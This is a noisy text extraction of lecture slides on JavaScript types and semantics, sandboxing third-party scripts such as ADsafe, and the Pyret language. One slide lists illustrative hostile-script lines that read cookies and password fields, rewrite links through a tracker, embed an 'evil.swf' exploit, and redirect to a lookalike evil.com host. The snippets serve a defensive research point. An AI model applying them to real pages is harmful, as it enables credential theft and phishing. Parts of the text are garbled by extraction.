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JavaScript*
(“You&got&to&dance&with&them&what&brung&you”)&

Perspec.ve*on*Seman.cs*

Looking*Ahead*



Types to Verify JavaScript Programs 
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Retrofitted Type System 
Design Principle 

 
 

Statically prevent (most)  
existing run-time errors 
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“a string” – “another string” 
! NaN 
*
•  Arithmetic doesn’t signal errors 
•  No arity mismatch errors 
•  Reading non-existent field ! undefined 
•  Writing non-existent field ! creates field 
•  Unbound identifiers ! same story 
•  Breaching array bounds&!&undefined 
•  Some object weirdness, too 
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var slice = function (arr, start, stop) { 
 
  var result = []; 
  for (var i = 0; i <= stop - start; i++) { 
    result[i] = arr[start + i]; 
  } 
  return result; 
}  
 
 slice([5, 7, 11, 13], 0, 2) 

!  [5, 7, 11] 
 slice([5, 7, 11, 13], 2) 
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var slice = function (arr, start, stop) { 
 
  if (typeof stop === "undefined") { 
    stop = arr.length – 1; 
  } 
 
  var result = []; 
  for (var i = 0; i <= stop - start; i++) { 
    result[i] = arr[start + i]; 
  } 
  return result; 
}  
 
 slice([5, 7, 11, 13], 0, 2) 

!  [5, 7, 11] 
 slice([5, 7, 11, 13], 2) 

! [11, 13] 

stop: Undef 

stop: Num 

stop: Num ∪ Undef 

stop: Num 
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Moral 
“Scripting language” programmers 

use state and  
non-trivial control flow 

to refine types 
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Program* LOC* Bad* Bozo* Auto* Man*

analog_clock& 112& 0& 6& 13& 0&

animaJon& 70& 0& 0& 4& 1&

catchit& 165& 7& 9& 6& 3&

countdown& 129& 2& 12& 4& 0&

hashapass& 257& 1& 7& 13& 7&

light& 151& 8& 19& 3& 7&

metronome& 106& 1& 4& 10& 2&

morse& 275& 8& 5& 12& 0&

resistor& 591& 18& 2& 32& 0&

rsi& 328& 0& 27& 22& 0&

text2wav& 488& 3& 6& 38& 3&

topten& 443& 67& 0& 18& 0&

watchJmer& 947& 18& 7& 15& 2&

TOTAL* 4062* 133* 104* 190* 25*

Refactoring& AnnotaJon&



A Completely Different Application 

13&



14&





// Change all links 
links = document.getElementsByTagName(“a”); 
for (var i = 0; I < links.length; i++) { 
  links[i].href = “track.com/fwd?” + 
links[i].href; } 

// Read cookies 
document.cookie 

// Read passwords 
document.querySelector(‘input[type=password]’) 

// Embed Flash, exploit, profit 
document.write(‘ 
  <object type=“application/x-shockwave-flash” 
          data=“evil.swf” />’); 

// Redirect page 
window.location = “citibank.com.evil.com” 



Facebook&

JavaScript&(FBJS)&

Google&

Caja&

Yahoo!&

ADsafe&
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MicrosoZ&

Web&Sandbox&



eval 
… 
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o[f] 

lookup(o, f) lookup 

StaJ
c&ch

eck
s&

RewriJng&

Wrappers&

&[A&reference&monitor]&is&

tamper*resistant,&is&
always*invoked,&and&
cannot*be*circumvented.&

—Anderson,&October&1972&



caplet&list,&2007a09a30&
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eval 
… 
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ad.js 
ADSAFE.get(o, x) 

ADSAFE.set(o, x, y) 
… 

adsafe.js 
ADSAFE = { 

get: function(), 
set: function(), 

…}; 

JSli
nt&r

eje
cts&

Goal:&

Verify&

adsafe.js 

Assuming:&

Code&has&&

passed&JSlint&

Encode&all&of&

JSlint&as&

a&type&

Typeacheck&

the&body&of&

adsafe.js 
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The Need for Flexibility 
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Semantic Foundations 
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λJS&(sort&of)&
on&one&slide&
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JavaScript&

program&

λJS&
program&

“their&

answer”&

“our&

answer”&

SpiderMonkey,&

V8,&Rhino&

definiJonal&

interpreter&

desugar(

Iden.cal&for&
conformance&suites&
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•  JavaScript Verification and Full Abstraction, MSR 

•  System !D, UCSD 

•  Aspects for JavaScript, U Chile 

•  Formal Specification of  JavaScript Modules, KAIST 

•  JavaScript Abstract Machine, Utah and Northeastern 

•  Deriving Refocusing Functions, Aarhus 

•  Information Flow Analysis, Stevens Tech 

•  0CFA, Fujitsu Labs (patent pending) 
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PERSPECTIVE ON SEMANTICS 





What About the Spec? 

1.  The spec is embodied in the implementations. 
2.  The spec is incomplete: e.g., SES depends on 

window.console 
3.  The spec depends on implementations! 

 If  […], the behavior of  sort is implementation-defined. 

4.  Attackers attack implementations, not specs. 
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Semantics as Mathematics 
Semantics as Natural Science 

(Reality might be stranger than we expect) 



LOOKING AHEAD 



JavaScript&Types&

and&SemanJcs&

ConJnuing&&

to&Embrace&

Current&Systems&

FoundaJons&for&

NextaGeneraJon&

Systems&



How Many Languages? 
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Research Challenge 

 
Apply machine learning 
to learn the semantics 

of  programming languages 
(and libraries and frameworks and …) 



JavaScript&Types&

and&SemanJcs&
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Current&Systems&
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Synthesis 
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Lessons for Language Design 
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A Simple Challenge 

def f(x): 
  class C(object): 
    x = "C's x" 
    def meth(self): 
      return x + ', ' + C.x 
  return C 
 
f('input x')().meth() 
 



High-Level Problem 

Scripting languages have evolved to have: 

•  over-blurring of  objects vs. dictionaries 
•  awful scoping rules 
•  hostility to static types 
 
All three traits are antithetical to verification 



Pyret 

 
Preserves the essence of  scripting 

 
IDE-Friendly: Clean scope and types/contracts 

 
Two novel ideas for programming languages: 

dependent mixins 
relational object types 



JavaScript&Types&
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ConJnuing&&
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www.jswebtools.org 


